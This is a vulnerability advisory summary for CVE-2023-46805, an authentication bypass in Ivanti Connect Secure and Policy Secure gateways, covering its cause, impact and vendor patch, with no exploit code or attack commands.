CVE-2023-46805
Overview
This vulnerability is an authentication bypass affecting the web component of Ivanti ICS products, specifically versions 9.x and 22.x of Ivanti Connect Secure and Ivanti Policy Secure. The root cause lies in improper enforcement of access control checks within the authentication mechanism, allowing unauthenticated requests to circumvent security controls. The flaw resides in the web authentication flow, enabling unauthorized access to restricted resources without valid credentials.
Vulnerability Description
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.
Impact
An attacker can gain unauthorized access to restricted administrative and user resources without any authentication or user interaction. This unauthorized access enables viewing and potentially manipulating sensitive configuration data, user information, and system controls, leading to data breaches and potential lateral movement within the network. The vulnerability facilitates privilege escalation scenarios and undermines the integrity of the security gateway, increasing the risk of further exploitation and operational disruption.
Solution
Ivanti has released security updates addressing this authentication bypass in Ivanti Connect Secure and Ivanti Policy Secure gateways. Customers should apply the latest patches available for versions 9.x and 22.x as detailed in the Ivanti advisory at https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways. Administrators are advised to follow vendor instructions precisely to ensure complete remediation of the authentication bypass flaw.
